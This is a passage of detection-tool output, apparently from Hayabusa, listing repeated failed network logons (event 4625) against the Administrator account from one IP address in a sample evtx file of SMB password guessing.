NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2vEjOhJW9G3aIfV0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.904 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hyvCpW3aOZqCOldu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyhS2wAAkfmZuLll : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:51.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0bEh0KTMbbFtsfck : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mw9u61efa06vYv6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SAxij8QYLxxriIvu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HK2tbzICSpTrglud : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4rHJ70VrEwCQjSvL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8qwZT66ExkdJDZaT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ezuHluj1fEC9KdQ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bXH5uDfo4WB6QEnQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yWvZjuZhnGcrelOM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vb6ePjmpA8ZwK1PW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7e1A9ZY20WM8oDn6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 71GKLnXqSEEuc1Fw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w0GsW0vDEkpRa1X0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.600 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0HH6zUUoL0qlfFC2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AG4pYsjob1iwlOc0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dNCX5tZ0nF1foTLW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.710 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vO82Kb0kboVFuJy6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DptE2C8ZK3AxCb43 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.871 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NC8manvVP5pU8F3N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.926 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m00bI5welsLUWmwJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:52.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4shyxJk2PiH1TDlj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.014 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xZyN2WO3UVY0WQs6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.053 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oSQjAMckifap5r1k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qixqXiX0mVcuXe37 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.126 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gIfJCJz6l36WMeY9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.166 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SZxv5U7uoN6E8c8E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mlIfE0N32OQeWuNw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nkZcjpTmHcJ0uX38 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GZfaHr2Yq6xkRjOI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jvy0EIiPSnom7pn3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TN9PUb0BgI3u8Xax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.429 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xCgz5BNpQgLgW0Xi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.478 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: po2GBdrXr3XtBsWR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.524 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O2rgo6jHcqu10IGY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MLblUOGzYzVA47E9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ysuA1xpYuAGRNONJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ksedziaGzXk5VNlS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.711 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: irIfGLQdhtRRGwuo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YCf6WUjiS11hHqKT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1o0CTT7GsWfCWuHx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F6Jr8XrUsmTiSdol : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.868 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Buj66iuSkLEQdKnQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.912 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L1wOLI51HqfkgO6r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X4oe273WXOICzkwW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:53.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1c7nGezYNJ70jR6R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ajuZ09zGeuovCQLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z4k7xV7soNF4mHlz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CtdqW8zOw1GoQcvA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aY6FLi1edRZWrRZN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.204 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ah1JoKfxJzQhCCVL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gIMOZRGcv4o33BWd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nmLyLJoVZz6fJ62I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aGufqEGD4hFf2XLM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7IEdKy2H5Agblpjt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XT9k8C05GVLBNPdl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5opHh8HelCXtR5Cm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K0dntDwYLmag9efo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.514 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UQfZOMFV9LtY7r2S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y01v38dTUIsJEZIv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pCP8x2QBZ6IvMEnf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.739 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hgcbYjw3kKqlK7Di : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TFU97Tq3e7IWvSKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.808 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1hUCvaS1yM2FU9AE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8JInVlBqTSfT4J1s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EjXRQUGDKBZaMkw3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.937 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fZPXNxkGOrld5eCR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OBDhSrF7DZ1KBRa8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.013 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dQ7TKJOGibAVNoCH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.054 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZE1GARxx03m4FtEL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gf3VLLTxsK85bsrv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.123 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 58G6MFVbW55JZIV5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yxne9LqZCqBf3qkc : IP Address: 192.168.198.149 : AuthPackage: 